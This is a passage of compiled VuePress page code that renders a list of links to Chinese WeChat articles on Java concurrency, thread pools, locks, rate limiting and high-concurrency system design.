noreferrer"}},[e._v("两种异步模型与深度解析Future接口"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489402&idx=1&sn=2e7ed9ee117399a28afeda9877a8db5f&chksm=cf55a07bf822296d6699f0a5bf6da5b7050f8398aa434acd4af604b309230ea631f43ab7c5de&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("不得不说的线程池与ThreadPoolExecutor类浅析"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489401&idx=1&sn=e54d6898cc194c4f713a3318b2172e6e&chksm=cf55a078f822296e6b66c23154339b449b05b22f68b62997ea9513d5e6131e73d22219a0e79b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("P8级别架构师带你深度解析线程池中那些重要的顶层接口和抽象类"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489397&idx=1&sn=57d3e04af3e52271e65b4247d72d65c0&chksm=cf55a074f8222962991e210912148f396a0bc01bb98ed39ac02085d289831bff9167cf084bf5&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("创建线程池居然有这么多方式..."),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489398&idx=1&sn=307c7b3d78aa275a682263bd218f9a1d&chksm=cf55a077f822296112d619dbc1641725d59c7b826ae59cb3216aa2bcf98fd15e100ded7d2fce&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("ThreadPoolExecutor类居然是这样保证线程池正确运行的..."),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489396&idx=1&sn=50a2e8ffb5f303a9aff01b85f6f098a5&chksm=cf55a075f8222963c2780ab99726c96f185cb7973cc8a9e7189413010bc8a3f9713e4de8c656&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("通过ThreadPoolExecutor类的源码深度解析线程池执行任务的核心流程"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489395&idx=1&sn=c18513f458ee9d09126c4f55e3e4151b&chksm=cf55a072f82229645b553a6135845048f221f56ef5cf84467bb1c66b4e0c0c80bd974728d7a9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("通过源码深度分析线程池中Worker线程的执行流程"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489394&idx=1&sn=316cd39a28b9ad465807963a15f38bd4&chksm=cf55a073f8222965c582a9b5b853176603cdba49ac56d7a80379a92d7e03cde3620d290324cb&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("从源码角度深度解析线程池是如何实现优雅退出的"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489393&idx=1&sn=9a7eac3f87baacf5befa311d480d91c7&chksm=cf55a070f822296601d4651061db538681d03ff87d5b132adb73ebb0519f03dec527d0a65ebc&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("ScheduledThreadPoolExecutor与Timer的区别和简单示例"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489392&idx=1&sn=dcdcc00845dccdefb9241bcac87a3b44&chksm=cf55a071f8222967140c4c8d21893223d7d018b3edda4c0a213df19846d8b6c1a1c101fe37db&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("深度解析ScheduledThreadPoolExecutor类的源代码"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489391&idx=1&sn=a7f71046ba9552c27a0f29bace2142cb&chksm=cf55a06ef822297853c1c69aaec03c31388206020f1ead99fd306cfd5622f1b3cc13d06bf081&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("深度解析ScheduledFutureTask类源码"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489390&idx=1&sn=94ed4db3fccee1c74ad8d19c8f846334&chksm=cf55a06ff822297986d39fd4417b92086f5924e5a6cae55ae90ce2a110c43110130e6579c192&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("多线程的三大特性(原子性、可见性和有序性)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489374&idx=1&sn=b75f2b908a6e8153b6f1627fccd9231a&chksm=cf55a05ff8222949658cf04198ea93fd5a123e1c1301b48a94451a84379efcf1e2e1e8bf76c2&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈AQS中的CountDownLatch、Semaphore与CyclicBarrier"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489373&idx=1&sn=5bce8306b75780f2dd3d6ea285b1ee91&chksm=cf55a05cf822294a55205ee04c2636485abe6789a65d0e3156e3b908de8cf93597721af0fecb&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("浅谈AQS中的Lock与Condition"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489372&idx=1&sn=d7987d839975c66fcb061285df5d4d38&chksm=cf55a05df822294b8e034b19bfe003836bff4a4cab14e66336bb618919bcb1b7c1eb2d0f3933&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一个工作了7年的朋友去面试竟然被Thread类虐的体无完肤"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489370&idx=1&sn=35533ba6aaad0c727f936f0d3751a8ee&chksm=cf55a05bf822294d003bd8e7b2a992b6dabfbb268f965a3b312399e5e5ae80dec59f61c76675&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何使用Java7中提供的Fork/Join框架实现高并发程序?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489368&idx=1&sn=e856feb5e9c582e865fddbc91b91a636&chksm=cf55a059f822294fb30c4d1b016c7861a16668706cbae4e14acdaec6a093dfc647b4df6dd7d4&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("要想学好并发编程,关键是要理解这三个核心问题"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489367&idx=1&sn=f23516aa06019130969b619e5fd84d83&chksm=cf55a056f82229401944d8de0583d5535f824597535fab1c04e427f16493480b00985adc7cb0&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("工作了3年的程序员小菜面试高并发岗位被吊打虐哭。。。"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489366&idx=1&sn=dc827567e6f8ac2beddc91a892fa8e12&chksm=cf55a057f8222941cc026506828b90d781fd6733e7db68a8a8417d40a8de2e0cf96a7ac8d11f&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("导致并发编程频繁出问题的“幕后黑手”"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489365&idx=1&sn=f6b7b9f70b8653e7156fdf7c34c4a74d&chksm=cf55a054f822294277d9d917b3020a1b218cb6bc81fd8b5521867c7bbb1a8bba19a2af9b3c10&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("解密导致诡异并发问题的第一个幕后黑手——可见性问题"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489364&idx=1&sn=fdeca5407f03b9283bf7699b7882517b&chksm=cf55a055f8222943bf0160f955a10e47693a1015a6c823184fa38f2b7acf37c2d743a2664f91&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("解密导致并发问题的第二个幕后黑手——原子性问题"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489363&idx=1&sn=247470d979a1180503a082e53259c5f5&chksm=cf55a052f82229442551f6c9076b8b2c977cc82384524e455ccc7fb1bfb0f732ba11b1557773&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("解密导致并发问题的第三个幕后黑手——有序性问题"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489362&idx=1&sn=fa49532eee6faf48eeb7544578748acb&chksm=cf55a053f82229458d23f52e0ccf4ac539ea8f77d61126817357dfed4f990031f3fe595f8b52&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("何为Happens-Before原则?这次彻底懂了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489361&idx=1&sn=9c58d50a127c73eda48770de2947723d&chksm=cf55a050f82229460e8d4eb994974af7b8fc20a8881fb10bfdace3d9f8d0aecc5f75921d545b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何解决可见性和有序性问题?这次彻底懂了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489360&idx=1&sn=15a678c02e771fd6c48d16a90fe98a7a&chksm=cf55a051f82229472747c67f4b11a74282f414f026b6b1cbde72caae2e30882026e99fb8ae96&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("synchronized原理是什么?这次彻底懂了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489359&idx=1&sn=c233458a8e7c612748bf520a7af457d0&chksm=cf55a04ef8222958fe57ae5c989edbfb1c3cfef36cb0c2c4b519c65414f3f0cb51e80ed266a9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("一分钟了解什么是限流"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489358&idx=1&sn=de3775195aa7503d56ab3cad8655516a&chksm=cf55a04ff822295974e9479b5c75fdc5e93dea7bcc11aa67ef92c0e53bef608c1940dd17a30a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("32位多核CPU并发读写long型数据为何会出现诡异问题?看完这篇我懂了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489357&idx=1&sn=39aa066bc585e7afd4a6c05f660fc70d&chksm=cf55a04cf822295add93717a88bf29b0905d24a80de21c6bc3a2b92425a67909ba493c20b254&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何使用互斥锁解决多线程的原子性问题?这次终于明白了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489356&idx=1&sn=63c472455df876c7c23a492a864d2549&chksm=cf55a04df822295b7da0f2ffc38853623254a0e28a691978b8e2a9d3b1dfef7430bab00756a3&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("不可不说的几种限流算法"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489355&idx=1&sn=e4b48fd6d3bef8a3e5ae96d97bbefcb2&chksm=cf55a04af822295c0ba45518ef8df7e5e5a097658f085ab53445648f0b2d60f23084e8488d81&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("ThreadPoolExecutor类的核心流程"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489354&idx=1&sn=17f589a29e2b6124cb9e223e0ea88e6c&chksm=cf55a04bf822295d010cc3c1744df1327db442ddcdcac8af21ba4b21dc6fbac9081a0c75d95c&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("ThreadLocal学会了这些,你也能和面试官扯皮了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489353&idx=1&sn=768ebcd3612a0c04465367751473a737&chksm=cf55a048f822295e892b7f9a55284e82d80db52b18afc53a1a3b1868d452e4286b156b9aaefb&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发秒杀系统架构解密,不是所有的秒杀都是秒杀!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489352&idx=1&sn=98884d07d5d237c3bc7ff183c08c93cb&chksm=cf55a049f822295fcf9352de03fd910557fd4a800ced8caae65e64836233689d891d682397f6&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发环境下诡异的加锁问题(你加的锁未必安全)"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489351&idx=1&sn=0d601cd93684fb6ae6c391df64086a63&chksm=cf55a046f822295004e1185f2772105938df02c38c8a54f167b419cdacc164d126b107c87dd9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("什么是ForkJoin?看这一篇就够了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489350&idx=1&sn=a7b0a8f5a3a02d9b164090c782129a88&chksm=cf55a047f8222951d867043364d3f96a1a3ebc2a15d8b357ad84baef3f189f0ca0c7a674fbcd&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("优化加锁方式时竟然死锁了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489349&idx=1&sn=9e8afb96f1d063dcc7354e505f773aa5&chksm=cf55a044f82229523d85cf4ebd0e6ca93c36ac74290d5d5ef59edc1d7b65040274a780f53d42&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你知道吗?大家都在使用Redisson实现分布式锁了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489348&idx=1&sn=f6816c0afd29da001d9491eeebba5059&chksm=cf55a045f82229539264f0aed0d18a478152558accd6b35131e85247eca50c06167fb6becee0&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("为何高并发系统中都要使用消息队列?这次彻底懂了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489347&idx=1&sn=0c0129168d9fffaee4578111ce037e11&chksm=cf55a042f8222954843b52772318ab2cc1a5d32dc6e9e769af12e6f2c8b97094c418105d9476&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("在高并发环境下该如何构建应用级缓存?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489346&idx=1&sn=142d2b2a1ae798e99a11d1790ea9b140&chksm=cf55a043f822295549c962657928b41b114a8cbdd57e2dbea5b0c63958a9ac6a6ff7996c247a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发环境下如何优化Tomcat性能?看完我懂了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489345&idx=1&sn=9535aa3ee6d7c85f03b82c1cacf7a036&chksm=cf55a040f8222956a7c22c3265111496aea8a4100ff47839e86fc8f479a3c878b3ca4e653822&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("不废话,言简意赅介绍BlockingQueue"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489344&idx=1&sn=be3cb8045217b8c1959d0dcb5291c0c9&chksm=cf55a041f82229577c628e0ddfcc262647cf085fef008399e3ae4d94ad19dbc5bf06d19eabce&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发场景下创建多少线程才合适?一条公式帮你搞定!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489343&idx=1&sn=5a3ff74875272d8a72a80037d25d9aad&chksm=cf55a03ef822292878e2aea6dad98d7d2e39c969f4f2f1ed608e76a71bdfac671f41489c15b9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发场景下如何优化加锁方式?看完这篇我确实明白了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489342&idx=1&sn=d1143e36dcff7bb209a36c0ee0390068&chksm=cf55a03ff8222929684aa9fcec7eee6686b402f426c5f5c3959f3c2b99559ae0f60a35be3038&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何使用Java7中提供的Fork/Join框架实现高并发程序?"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489340&idx=1&sn=9658cbf46be5c8a1dcb6f27f7cbd2483&chksm=cf55a03df822292b3d9cee0ab031b5f706daf2755ec88eaf38242016b04b989f0bf00be4ae63&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发分布式锁架构解密,不是所有的锁都是分布式锁!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489339&idx=1&sn=56a2340cf337ab5cb3f7f66b98ffde52&chksm=cf55a03af822292ce9bc4b1ff334ef9a01f011b6039c7b2e8b9f7f85317688209f675bbe440d&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("终于弄懂为什么局部变量是线程安全的了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489338&idx=1&sn=5747a4ae08e8057e0771afe84ea67ae0&chksm=cf55a03bf822292d6aaa7dcf3910c8d58a5a4109190818dcdcc874d414d0464703a83c8f3b9b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("信不信?以面向对象的思想是可以写好高并发程序的!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489215&idx=1&sn=50bf075cbbd35539e6e65ea54c0f03b4&chksm=cf55a1bef82228a87ba23f617816136806c1d52cfdd781e4e118ae7da105c54cd3e3b647dd00&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("何为Happens-Before原则?这次彻底懂了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489337&idx=1&sn=82283e6bafb72b34979d45678911f41c&chksm=cf55a038f822292e85e95244ad359f331b51a14507d6ef94e2ce1343d4281595ee011bcf8289&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("又一个朋友面试栽在了Thread类的stop()方法和interrupt()方法上!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489336&idx=1&sn=796d3889093e667b2714fda3c83474c4&chksm=cf55a039f822292fde8b1e7a29b1f77990818408992d1529b804f85b77b73e1c98fcedf4dc97&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("由InterruptedException异常引发的思考"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489335&idx=1&sn=ffc3c88746f28d886811b34760f32782&chksm=cf55a036f82229206134a02be74fb6c18441e0fcda700ef060241da1ccce60c9278772836e36&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("朋友问我学习高并发需不需要阅读源码,我是这样分析的!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489334&idx=1&sn=f98baf5bab13e35493c77485fbb3f05c&chksm=cf55a037f8222921cf534290ab39d2f2d2c6e38a41d5761e399f1240ee238b8f54735953d499&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("线程的生命周期其实没有我们想象的那么简单!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489325&idx=1&sn=87cb0f267ef101f26a5d47a6a5d8653b&chksm=cf55a02cf822293a6b4cf124bf4c3374deba32397249e90706de97acf4910aebfe9ccacf19d7&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("你敢信??HashMap竟然干掉了CPU!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489324&idx=1&sn=0a35687e86500cf5a7e3831a703acd7d&chksm=cf55a02df822293b0f96e98f12f3d0fc99063b50eff5ec01d3291c1cab2a89e7c47370938706&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("ThreadLocal学会了这些,你也能和面试官扯皮了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489274&idx=1&sn=474d6b4fedbb50a9c9a0fdd5ed7e34b5&chksm=cf55a1fbf82228ed1fec52eaf8e3d076f6f40322038c881929c47e0e671cd36d966b7b6422ed&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("为何高并发系统中都要使用消息队列?这次彻底懂了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489273&idx=1&sn=6d3f38b52de0a60d78a18c4ea14133c4&chksm=cf55a1f8f82228ee84612c8fbc0cb4fd00f67f29ddc2845931d5f050e61c4b68e031d8074f7b&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("学习高并发我们究竟要不要读源码?别纠结,肝就完了!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489271&idx=1&sn=00c81bed5650110649483188d4bf75a5&chksm=cf55a1f6f82228e0168a3ea55043390b682b591ab2083be9b4153be073e082fc01e486ee0db0&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("面试官问我如何使用Nginx实现限流,我如此回答轻松拿到了Offer!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489254&idx=1&sn=91c6d5c829d5eb0b4c95a22752f8f5bc&chksm=cf55a1e7f82228f1b4d0d2ec67c6036046e9873f89bc77bdb57f39ea5912185ac2130b0511a9&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何设计一个支撑高并发大流量的系统?这次我将设计思路分享给大家!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489253&idx=1&sn=78aa33212e7ce5d5bdbeb07e5baf2aaf&chksm=cf55a1e4f82228f2f1c9ed1e1685534f64319ccb3837b40497dca1f2f984d6145ad75cdb242e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("高并发环境下构建缓存服务需要注意哪些问题?我和阿里P9聊了很久!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489252&idx=1&sn=7fbef4c1a27fc01f865153adf409370c&chksm=cf55a1e5f82228f3df2f7a5f835c054fa9be1508f5c4b00bb1912418bcdce86510ba15f3fbd8&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何实现亿级流量下的分布式限流?这些理论你必须掌握!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489251&idx=1&sn=e4445792085261c1515a0d02d8645bbe&chksm=cf55a1e2f82228f43039ba9916270e9efc2324949bc01d783c19492bd372b6645941dd85b632&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("如何实现亿级流量下的分布式限流?这些算法你必须掌握!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489250&idx=1&sn=23a68c11f125c0b5bcda767df5965101&chksm=cf55a1e3f82228f5708fa09147f7997ac64b5587c095ede1eca2c9699d8d13919ce26afea63a&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("亿级流量场景下如何为HTTP接口限流?看完我懂了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489249&idx=1&sn=bd7b103f9bece48e8b0ab41a6d8fefd7&chksm=cf55a1e0f82228f673a40be35c3dddea15941849bd026e6dc0b044de76a28a7f7787784048f4&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("亿级流量场景下如何实现分布式限流?看完我彻底懂了!!"),a("OutboundLink")],1)]),e._v(" "),a("li",[a("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg4MjU0OTM1OA==&mid=2247489194&idx=1&sn=ea0631cc03ae8e57c002e94cec9472b9&chksm=cf55a1abf82228bdcd3d690b50a423097c959a5993b529a85dc58baea5d54f1c0330c3e4423e&token=776659970&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[e._v("Redis如何助力高并发秒杀系统?看完这篇我彻底懂了!!"),a("OutboundLink")],1)]),e._v(" 